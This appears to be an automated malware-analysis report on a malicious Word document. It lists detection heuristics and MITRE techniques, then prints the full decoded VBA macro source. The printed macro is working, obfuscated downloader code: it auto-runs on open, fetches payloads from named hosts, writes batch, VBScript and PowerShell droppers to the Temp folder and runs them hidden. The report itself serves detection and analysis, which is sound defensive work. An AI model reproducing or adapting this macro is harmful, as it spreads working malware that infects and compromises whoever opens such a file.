MALICIOUS
316
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample contains VBA macros with AutoOpen and Workbook_Open subroutines, indicating an attempt to execute code upon opening. The macros utilize CreateObject and Shell calls, and assemble URLs from Chr() and Asc() expressions, specifically pointing to http://mauritaniemag.com/wp-content/plugins/tweet-old-post/kaka.txt and similar URLs. These actions strongly suggest the macro's purpose is to download and execute a second-stage payload from these remote locations.
Heuristics 13
-
ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
-
VBA macros detected medium 8 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
a = Shell(b, 0) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set objXML = CreateObject("" & QHDHUQW) -
Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URLA VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Goabc = Environ(sps) -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://mauritaniemag.com/wp-content/plugins/tweet-old-post/kaka.txt Referenced by macro
- http://mauritaniemag.com/wp-content/plugins/tweet-old-post/6727156315273.txt123123123Referenced by macro
- http://savepic.su/5751812.jpgReferenced by macro
- http://savepic.su/5757956.jpgReferenced by macro
- http://ceylonrosylea.com/wp-admin/network/6727156315273.txtReferenced by macro
- http://ceylonrosylea.com/wp-admin/network/kaka.txtReferenced by macro
- http://ns.adobe.com/xap/1.0/In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12234 bytes |
SHA-256: d1163e49c08cf88d8faa044aae6a77d9a92151fe34d6ece6fb479c6b14db6ada |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
57 of 154 identifiers look randomly generated (e.g. 'wwkjdasjdljslqlkjdklqjwdlkas'); 5 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Jiqjdojksasndjkbqw_Open()
End Sub
Sub Xqkjdlkasjdklwlqds_Open()
End Sub
Sub Auto_Open()
Ewjklasjdklasska
Kjidjandjkhqwhd
End Sub
Sub Ewjklasjdklasska()
ANJKDQW = "qhwkjekj2 k1hkeh12eh1 sa"
End Sub
Sub Xjdklqjds()
HBQUHDQ = "21kjek 21hjeh12ke"
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
NJQKDBJQ = "kj2eh jk12hjek 12hjke "
Auto_Open
End Sub
Sub Kjidjandjkhqwhd()
Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
Dim retVal As Variant, huwe As Integer, auwd As Integer, aabbb As Integer, BLAHUWDHS As String, YYDBHWD As String
YYDBHWD = Chr(90 + 2)
YUGQYD = Ubqhwdhwqbd(23269) + ""
BLAHUWDHS = Chr(84) & "em" + "p"
QHDQUWH = YUGQYD
FL2 = QHDQUWH
PH2 = Module2.Goabc(BLAHUWDHS) + YYDBHWD
woweffect = 6
jwnqdw = 1 - woweffect
JIQWDJQ = 12312312
JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
AAAA = JIQWDJQ
HYWDAX = "baji dahjkhdiqdq uhst"
JWIDJIAAA = ""
HUYFEA = "jh qjksh jkhjk hjkh djkasd"
QIWJDABB = "b"
HUYFEA = QIWJDABB + "a" + "t"
IUQJWD = "ajhdqu iydhiuh2hjg h"
PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
huwe = NUqwdqwbdsad(1 - 300 * Sin(20))
SSS = Chr(AAAA + 2 + huwe)
VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + huwe + 2) + HUYFEA
INTG = "" & "o" & "bject"
KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
AFTG = "m" & KIWD
SXEE = Chr(46)
SXAA = Chr(101)
SXE = SXEE & SXAA & "" & "xe"
GNG = "" & ".jpg" & ""
HUQD = Chr(30 + 16 + 1)
ATTH = "ht" & "t" & "" & "p" & ":" & "/" & "/"
SPIC = Chr(100 + 15) + "av" & "epi" + "c." & "s" & "u" + HUQD
PSPTH = PH2 + PSFL
VBPTH = PH2 + VBFL
BAPTH = "hkjackjh kjh bhjsb"
ABPTH = PH2 + BAFL
BAPTH = ABPTH
Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
DRT = 315
BFT = 316
CFT = 317
DFT = 318
EFT = 319
Dim NUWDHUQHUQWDH As String
NUWDHUQHUQWDH = "USE" & "RPROFILE"
Dim PBIn As String, asdwq As String, MIWDWQ As String
TSTS = "." + "t" + "xt"
CDDD = "6727156315273" + TSTS
LNSS = "kaka" + TSTS
STT1 = "mauritaniemag.com/w" + "p-c" + "ontent/plug" + "ins/twe" + "et-old-post/"
STT2 = "ceylonrosylea.com/w" + "p-adm" + "in/network/"
PBIn = ATTH + STT1 + CDDD
CONT = Module2.Jhuqwhdhsss(PBIn)
asdwq = Rasdas(CONT)
HQUWDAAA = "0"
If (asdwq <> "=") Then
PBIn = ATTH + STT2 + CDDD
CONT = Module2.Jhuqwhdhsss(PBIn)
asdwq = CONT
HQUWDAAA = "1"
End If
CONT = Quqhwdbyas(asdwq)
Dim ahuywdgqy As String
TVT10 = Port(CONT, "t" + "ext10")
TVT20 = Port(CONT, "text20")
TVT21 = Port(CONT, "text21")
TVT30 = Port(CONT, "text30")
TVT31 = Port(CONT, "text31")
XPT1 = Port(CONT, "stext1")
XPT2 = Port(CONT, "stext2")
XPT3 = Port(CONT, "stext3")
WVR = Module2.Goabc(NUWDHUQHUQWDH)
hufehu1 = InStr(WVR, "sers\")
Dim hudhw As Integer
Dim ghdAdd(1 To 3)
ghdAdd(1) = "1"
ghdAdd(2) = "0"
ghdAdd(3) = "0"
If (hufehu1 <> 0) Then
ghdAdd(1) = "2"
Else
ghdAdd(2) = "3"
End If
JHWQUD = Join(ghdAdd)
hudhw = Val(JHWQUD)
Module2.WaitFor (1)
MIWDWQ = ATTH + STT1 + LNSS
If (HQUWDAAA = "1") Then
MIWDWQ = ATTH + STT2 + LNSS
End If
SEXX = Module2.Jhuqwhdhsss(MIWDWQ)
PSTB = PBIn + "123123123"
MSTAR1 = SPIC + "5751812" + GNG
MSTAR2 = SPIC + "5757956" + GNG
STAR1 = ATTH + MSTAR1
STAR2 = ATTH + MSTAR2
FFQ = "8"
FF = FFQ + SXE
If (hudhw = 130) Then
Open BAPTH For Output As #DRT
Print #DRT, XPT1
Print #DRT, ":rtqdftqwfdhwgqf" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
Print #DRT, XPT2
Close #DRT
Module2.WaitFor (1)
Open VBPTH For Output As #BFT
Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
Print #BFT, XPT3
Close #BFT
BDDT.WaitFor (1)
NTH1 = Module1.GHJgwqdjqgw(retVal, BAPTH)
End If
HUDQG = "';"
If (hudhw = 200) Then
ZPQSKD = FL2
Open PSPTH For Output As #CFT
Print #CFT, "$ujdkwq = 'jqwdb';"
Print #CFT, "$stat = 'ht'+'tp://'+''+'" + MSTAR2 + "';"
Print #CFT, "$ggtt = '" + SEXX + "';"
Print #CFT, "$pths = '" + PH2 + HUDQG
Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
Print #CFT, "$nnm = '" + FFQ + "';"
Print #CFT, TVT10
Close #CFT
Open VBPTH For Output As #DFT
Print #DFT, TVT30
Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&huih"
Print #DFT, TVT31
Close #DFT
Open BAPTH For Output As #EFT
Print #EFT, "@" + "ec" + "ho off"
Print #EFT, ":hqwdjkhqw"
Print #EFT, TVT20
Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
Print #EFT, ":nqjwkdkqwd"
Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
Print #EFT, ":qbjdhwqbdwqh"
Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
Print #EFT, TVT21
Close #EFT
Module2.WaitFor (1)
NTH2 = Module1.GHJgwqdjqgw(retVal, BAPTH)
End If
JUW = Chr(47)
AKK = Chr(60)
ZKK = ">"
NTH3 = Module1.Thwqbdhjabs(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1)
NTH4 = Module1.Thwqbdhjabs(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2)
NTH5 = Module1.Thwqbdhjabs(AKK + INTG + ZKK, "", 3)
NTH6 = Module1.Thwqbdhjabs(AKK + JUW + INTG + ZKK, "", 3)
NTH7 = Module1.Thwqbdhjabs(AKK + AFTG + ZKK, "", 3)
NTH8 = Module1.Thwqbdhjabs(AKK + JUW + AFTG + ZKK, "", 3)
End Sub
Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function
Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function
Public Function Quqhwdbyas(ByVal strData As String) As String
Dim objXML As Object
Dim objNode As Object
Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
nudqwd = Log10(100)
asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
Set objXML = CreateObject("" & QHDHUQW)
Set objNode = objXML.createElement("b6" + "4")
objNode.DataType = "bin.b" + Chr(97) + "se6" + "4"
objNode.Text = strData
WUDHA = objNode.nodeTypedValue
Quqhwdbyas = WUDHA
Set objNode = Nothing
Set objXML = Nothing
End Function
Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = "" & Chr(58 + 2)
NDUW = "" & Chr(70 - 8)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Mid$(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function
Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function
Private Static Function Log10(x)
BYQGDJQ = "hadkjhasdksahk hjksgdhw"
Log10 = Log(x) / Log(10#)
End Function
Attribute VB_Name = "Module1"
Public Function GHJgwqdjqgw(a As Variant, b)
JKDHAKSD = "qwdnmqw,mdn,mq ,mn q,wd2"
a = Shell(b, 0)
GHJgwqdjqgw = a
End Function
Public Function Thwqbdhjabs(dnuwhd As String, b As String, c As Integer)
Dim selectedText As String
Dim wwkjdasjdljslqlkjdklqjwdlkas As Range, lesleslesqjhdjqkwhdwq As Range
Set wwkjdasjdljslqlkjdklqjwdlkas = ActiveDocument.Range
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
With wwkjdasjdljslqlkjdklqjwdlkas.Find
'QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
'QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
.Text = dnuwhd
.MatchWholeWord = True
wwkjdasjdljslqlkjdklqjwdlkas.Find.Execute
wwkjdasjdljslqlkjdklqjwdlkas.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set lesleslesqjhdjqkwhdwq = ActiveDocument.Range
Dim wdsadwq As String
lesleslesqjhdjqkwhdwq.Start = wwkjdasjdljslqlkjdklqjwdlkas.End
.Text = b
.MatchWholeWord = True
.Execute
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
wwkjdasjdljslqlkjdklqjwdlkas.Collapse direction:=wdCollapseStart
lesleslesqjhdjqkwhdwq.End = wwkjdasjdljslqlkjdklqjwdlkas.Start
If (c = 1) Then
selectedText = lesleslesqjhdjqkwhdwq.Delete
End If
If (c = 2) Then
lesleslesqjhdjqkwhdwq.Font.Color = wdColorBlack
End If
Dim hduwaa As Integer
hduwaa = 1 - 423
If (c = 3) Then
With wwkjdasjdljslqlkjdklqjwdlkas.Find
.Text = a
.Replacement.Text = "" & " "
'QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
'QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
'QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
'QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
.Wrap = wdFindContinue
.Execute Replace:=wdReplaceAll
End With
End If
End With
End Function
Public Function Moloko(a, b, c)
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
Moloko = Mid(a, b, c)
ASDQFQW = "jh21eg hj12ghejg12 "
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
QGDQWJGDHJQWGDQWD = "qwdghjg2jh1gd h1dj21gdhj21g1h2dqwdqw"
End Function
Attribute VB_Name = "Module2"
Public Function Goabc(sps As String)
Goabc = Environ(sps)
End Function
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Jhuqwhdhsss(a As String)
Dim ygwdg As Integer, Sduhqiuwhdagshdjqgwqwg As Object
Dim ggFw As String
ggFw = a
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
BQDHJQWDGWQJGS = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & Chr(84) & Chr(84) & Chr(80)
Set Sduhqiuwhdagshdjqgwqwg = CreateObject(BQDHJQWDGWQJGS)
Sduhqiuwhdagshdjqgwqwg.Open "G" & "" & "ET", ggFw
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
Sduhqiuwhdagshdjqgwqwg.Send ("")
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
HUQHIDHHSG = "jn2ehj2 eg2h1gehj12gej1g2eu2gig 2"
Jhuqwhdhsss = Sduhqiuwhdagshdjqgwqwg.responsetext
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.